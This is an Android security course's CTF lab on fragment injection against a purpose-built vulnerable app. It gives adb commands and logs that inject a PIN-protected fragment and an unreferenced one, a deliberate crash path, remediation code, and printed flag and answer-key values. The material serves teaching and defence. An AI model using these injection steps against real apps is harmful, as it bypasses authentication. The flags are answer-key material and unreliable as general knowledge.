Lab 05 — CTF: The Understudy's Understudy¶
Difficulty: CTF Time: 2–4 hours You will need: a device or emulator you own,
adb, the apps from../examples/, Python 3, anddexdumporbaksmali. Prerequisite: labs 01 and 03. Lab 02 is optional; lab 04 is not needed.
The brief¶
You are assessing com.pentest.ch31.victim, on a device you own. You have the APK and an ordinary
application uid. You have no root, no Frida, and no permissions.
There are two flags, and they are not the same difficulty:
Stage 1 CH31{...} rendered by a screen the app puts behind a PIN
Stage 2 CH31{...} held by a screen NOTHING in the app ever constructs
Stage 1 you have already done, in lab 01, and it is here so that the chain is complete.
Stage 2 is the CTF. It has three properties that make it more than a repeat:
- the Fragment that holds it is reachable by no code path in the application at all;
- it will not release the flag unless it is handed a value it believes only the app's own code could know;
- that value appears in no log. It is rendered on the victim's screen and nowhere else — which is README §5.7's honest limit, turned into a puzzle.
There is also one deliberate dead end. It looks like the intended route, it is the route most people take first, and it will crash the target. Recognising why it crashes is worth as much as the flag.
Everything here targets
../examples/victim-app/on a device you own. The attacker app requests zero permissions and hard-codes the victim's package. See SECURITY.md for the handling rules.
Rules¶
- No root. No Frida. No
adb shell am startagainst the victim. Every Intent that reaches the victim must originate fromcom.pentest.ch31.attacker, which runs as an ordinary app uid. You may useadb shell am startto start the attacker. - No editing the victim. You may read its APK all you like.
adb shellmay be used for observation —logcat,dumpsys,uiautomator dump, screenshots. Note as you go which observations an attacker application could also make; that question comes back in the debrief.- Every claim in your write-up must be backed by output you can paste.
Setup¶
# host
cd ../examples && ./build.sh --install
adb shell am start -n com.pentest.ch31.victim/.MainActivity # seeds the vault; do this once
adb shell "dumpsys trust" | grep -o "deviceLocked=[01]" # expect 0
Stage 0 — Reconnaissance¶
Establish what an ordinary app can see, from an ordinary app:
# host
adb shell am start -S -n com.pentest.ch31.attacker/.InjectActivity --es attack probe
adb logcat -d -s CH31ATK
Hint 0.1 — how many entry points are there really?
Five exported Activities and one internal. Write them down. Then ask the question the manifest cannot answer: **which of the five accepts something that becomes a type?**Hint 0.2 — you have the APK; use it
adb shell pm path com.pentest.ch31.victim
adb pull <path> /tmp/ctf.apk
python3 -B ../scripts/fragment-injection-scan.py /tmp/ctf.apk --verbose
Stage 1 — The screen behind the PIN¶
Goal: make the victim display AdminFragment without typing the PIN, and record flag 1.
Hint 1.1
`SettingsActivity` extends `android.preference.PreferenceActivity`. That class reads an Intent extra whose literal value is `:android:show_fragment` and instantiates the class it names.Hint 1.2
adb shell am start -S -n com.pentest.ch31.attacker/.InjectActivity --es attack pref-inject
adb logcat -d -s CH31
Solution — stage 1
I CH31: SettingsActivity.onCreate showFragment=com.pentest.ch31.victim.AdminFragment
I CH31: isValidFragment(com.pentest.ch31.victim.AdminFragment) -> true (VULNERABLE)
W CH31: ADMIN-FRAGMENT-REACHED secret=CH31{fragment_injection_skipped_the_login_screen}
Stage 2 — The deliberate dead end¶
Before continuing, try the route that looks better.
SettingsHardenedActivity is exported, has almost the same name, and — if you decompiled it — has a
real allowlist. It is natural to try it, if only to confirm the control.
# host
adb shell am force-stop com.pentest.ch31.victim
adb logcat -c
adb shell am start -S -n com.pentest.ch31.attacker/.InjectActivity --es attack pref-hardened
sleep 3
adb logcat -d | grep -E "FATAL|IllegalArgumentException|switchToHeaderInner" | head -6
The victim crashes. An "app keeps stopping" dialog appears. Nothing is injected.
Stop and answer three questions before moving on. They are worth more than the flag.
Q1 — Why does a WORKING control crash the app?
Because the platform's refusal path is a throw, not a return. `PreferenceActivity.switchToHeaderInner` does:000a: invoke-virtual isValidFragment(...)Z
000e: if-eqz v0, 004a
...
004a: new-instance v0, Ljava/lang/IllegalArgumentException;
0051: const-string v2, "Invalid fragment for this activity: "
0062: throw v0
Q2 — Is the crash a finding?
Yes, and a different one from the injection. Any installed application can kill the host on demand, with no permission, repeatably. It is not data disclosure, so it is not High — Low to Medium is defensible — and the remediation is **not** "override `isValidFragment`", because returning `false` produces exactly this crash. The complete fix is to stop extending `PreferenceActivity`. [README §5.4](../README.md).Q3 — Why is this a dead end for the CTF specifically?
Because a crash destroys the process, and everything you need for stage 2 is **on the screen of a live victim process**. The route that stops the injection also stops you observing anything. Note which of your tools depend on the target staying alive; that is a general lesson about DoS-adjacent primitives during an assessment.Stage 3 — Find the Fragment nothing constructs¶
Somewhere in the victim there is a Fragment that no Activity adds, no navigation reaches, and no menu mentions. Find it.
Hint 3.1 — enumerate Fragment subclasses from the DEX
# host
mkdir -p /tmp/ctf && cd /tmp/ctf
python3 -B -c "
import zipfile; z=zipfile.ZipFile('/tmp/ctf.apk')
open('classes.dex','wb').write(z.read('classes.dex'))"
java -cp /path/to/apktool.jar com.android.tools.smali.baksmali.Main d classes.dex -o out/
grep -rln 'super Landroid/app/\(Dialog\)\?Fragment;' out/com/pentest/ch31/victim/ 2>/dev/null || \
grep -rn '\.super Landroid/app/' out/com/pentest/ch31/victim/
$ANDROID_HOME/build-tools/35.0.1/dexdump classes.dex | grep -B2 "Superclass.*Fragment"
Hint 3.2 — which of them is never referenced?
A class that is constructed somewhere will appear as a `new-instance` or in a `const-class`. One will not:# host
for f in AdminFragment PublicFragment VaultFragment; do
printf '%-16s new-instance: %s const-class: %s\n' "$f" \
"$(grep -rc "new-instance .*$f;" out/ | awk -F: '{s+=$2} END{print s+0}')" \
"$(grep -rc "const-class .*$f;" out/ | awk -F: '{s+=$2} END{print s+0}')"
done
Hint 3.3 — read it
`VaultFragment` is a `DialogFragment`. It reads `getArguments().getString("unlock")` and compares it against a constant. Find the constant's **name**; you will not find its value usefully by reading the Smali alone, because the point of stage 4 is where it lives at runtime.Stage 4 — Get the key out of a live process¶
VaultFragment wants a value that the developer assumed only the app's own code could know. It is a
compile-time constant, so a determined reverse engineer can lift it out of the string pool — and you
should notice that, because it is a real weakness in the challenge and in the design it models.
Do it the other way first, because that way teaches the thing this chapter is actually about.
Hint 4.1 — where does the value appear at runtime?
Nowhere in `logcat`. Grep for it and you will find only your own commands. `AdminFragment` renders it **on the screen**. Inject `AdminFragment` (stage 1), then look.Hint 4.2 — read the screen
# host
adb shell am force-stop com.pentest.ch31.victim
adb shell am start -n com.pentest.ch31.victim/.MainActivity ; sleep 2
adb shell am start -S -n com.pentest.ch31.attacker/.InjectActivity --es attack pref-inject ; sleep 3
adb shell uiautomator dump /sdcard/ui.xml
adb shell cat /sdcard/ui.xml | tr '>' '\n' | grep -o 'text="[^"]\{3,\}"'
adb shell rm -f /sdcard/ui.xml
Solution — stage 4
text="ADMIN PANEL secret: CH31{fragment_injection_skipped_the_login_screen}
session key: understudy-2f41 If you are seeing this without having typed the PIN,
the login screen was skipped."
Warning — be honest about the vantage of this step
uiautomator dumpruns asshell(uid 2000). An ordinary application cannot do it. An app could get the same value with an accessibility service (a permission the user must grant through Settings), a screen-capture projection (a consent dialog), or by being a human looking at the phone. So step 4, as performed, is instrumentation, not an attack step.That is not a flaw in the lab; it is the lab's most important point. README §5.7: an injected Fragment makes the victim display something. It does not hand it to the attacker. Reporting fragment injection as "data theft" without identifying the return path is the most common over-claim in this bug class, and you have just walked into the gap deliberately.
Write into your report which steps used shell instrumentation and which an app could genuinely perform. That distinction is the difference between a credible finding and an inflated one.
Stage 5 — Land the second injection¶
Now inject VaultFragment with arguments.
Hint 5.1 — which host?
The `PreferenceActivity` route carries arguments in `:android:show_fragment_args`; the reflective host carries them in `args`. Either works. The attacker app's `ctf` mode uses the reflective host, and takes the unlock value from the Intent that starts the attacker, so nothing is baked in.Hint 5.2 — you cannot build a nested Bundle with `am`
`am start --es` puts strings into the *attacker's* Intent. Building a `Bundle` **inside** another Intent's extras needs code, which is why the attacker app does it for you. This is worth remembering in real work: a nested-`Bundle` payload is a small program, not a command line.Solution — stage 5
# host
adb shell am force-stop com.pentest.ch31.victim
adb logcat -c
adb shell am start -S -n com.pentest.ch31.attacker/.InjectActivity \
--es attack ctf --es unlock understudy-2f41
sleep 3
adb logcat -d -s CH31
I CH31: FragmentHostActivity.onCreate name=com.pentest.ch31.victim.VaultFragment mode=null
I CH31: VaultFragment: unlock=<supplied> accepted=true
W CH31: VAULT-FRAGMENT-UNLOCKED CH31{arguments_are_attacker_input_too}
adb shell am start -S -n com.pentest.ch31.attacker/.InjectActivity --es attack ctf --es unlock wrong
I CH31: VaultFragment: unlock=<supplied> accepted=false
Debrief¶
Answer these in your write-up. They are the assessment, not the flags.
1. Name every primitive in the chain¶
Model answer
| # | Primitive | Where | |---|---|---| | 1 | An exported Activity reachable by any app with no permission | `SettingsActivity`, `FragmentHostActivity` | | 2 | A reflective loader driven by a string from outside the app | `isValidFragment` returning `true`; `Fragment.instantiate` | | 3 | A Fragment reachable that no code path constructs | `VaultFragment` — "unreachable" was never a property of the class | | 4 | An arguments `Bundle` that arrives from the caller | `getArguments()` treated as trusted input | | 5 | A secret that only exists on the victim's screen | the exfiltration gap, and the reason step 4 needed instrumentation |2. Which step is the actual vulnerability?¶
Model answer
Number 2. Everything else is a consequence. Number 1 is normal and correct — apps export Activities on purpose. Number 3 is not a defect at all; a Fragment that nothing constructs is dead code, and it only becomes reachable because of 2. Number 4 is how every Fragment in the world is written. Number 5 is a limit on the impact, not a cause. Remove 2 and the chain has no second link.3. Rate both flags separately¶
Model answer
**Flag 1 — High.** No permission, no root, no user interaction, and it bypasses an authentication screen. Precondition is only "an app on the device", and the same sink is reachable from a browsable deep link, which removes even that. **Flag 2 — depends entirely on how the key is obtained.** If the only route is instrumentation, the chain is not demonstrable by an app alone and you should say so; the honest finding is *"injection plus attacker-controlled arguments lets a stranger drive an internal screen"*, rated on the injection. If the key is a constant recoverable from the APK — which it is here — then it is not a secret at all, and the finding becomes *"a hard-coded value is used as an authorisation token"*, which is its own well-known defect and is rated on what it protects. Both readings are defensible. What is not defensible is presenting the chain as a remote data-theft exploit.4. Write the remediation as code¶
Model answer
Three changes, in order of value:// 1. Delete the primitive: accept a key, not a type name.
private Fragment create(String screen) {
if (screen == null) return new PublicFragment();
switch (screen) {
case "about": return new PublicFragment();
default: return null; // refused, logged, finish()
}
}
// 2. Stop extending PreferenceActivity. An allowlist stops the injection and
// leaves any app able to crash the host, because the refusal is a throw.
// androidx.preference has no Activity that loads a Fragment from an Intent.
// 3. Check in the destination as well, because routes multiply.
@Override public void onCreate(Bundle b) {
super.onCreate(b);
if (!Session.isAuthenticated()) {
getFragmentManager().beginTransaction().remove(this).commitAllowingStateLoss();
getActivity().finish();
}
}
5. What would you have missed with a manifest-only review?¶
Model answer
Everything. The manifest lists six Activities and no Fragments, because Fragments are not components. It cannot distinguish `SettingsActivity` from `SettingsHardenedActivity`, which differ by one method body. It says nothing about `VaultFragment` existing, let alone being reachable. A manifest audit ([32-Manifest](../../32-Manifest/README.md)) produces the **candidate hosts**, and that is genuinely necessary — you would not have known which five Activities to look at without it. The finding comes from the DEX. [README §6.5](../README.md).Success criteria¶
- Both flags, with the command and output that produced each.
- The dead end reproduced, with the stack trace, and the three questions answered.
-
VaultFragmentidentified as unreferenced, with thenew-instance/const-classcounts that prove it. - The session key obtained from the screen, with an explicit note that this step used shell instrumentation.
- The wrong-key control run and its output.
- Both flags rated separately, with the reasoning about the exfiltration gap.
- Remediation written as code.
Instructor notes¶
Open only if you are running this for someone else
**Flags**Stage 1: CH31{fragment_injection_skipped_the_login_screen}
Stage 2: CH31{arguments_are_attacker_input_too}
Session key: understudy-2f41
Clean up¶
# host
cd ../examples && ./build.sh --uninstall
rm -rf /tmp/ctf /tmp/ctf.apk
adb shell ls /sdcard/ui.xml 2>/dev/null # expect "No such file"
Where to go next¶
- README §5.8 for the honest-severity table this CTF's debrief is built on.
- 30-Activities lab 05, the CTF this one is named after, for the Activity-level version of the same skill.
- 43-WebView if you want to see what an injected Fragment is worth when
the Fragment it reaches hosts a
WebView.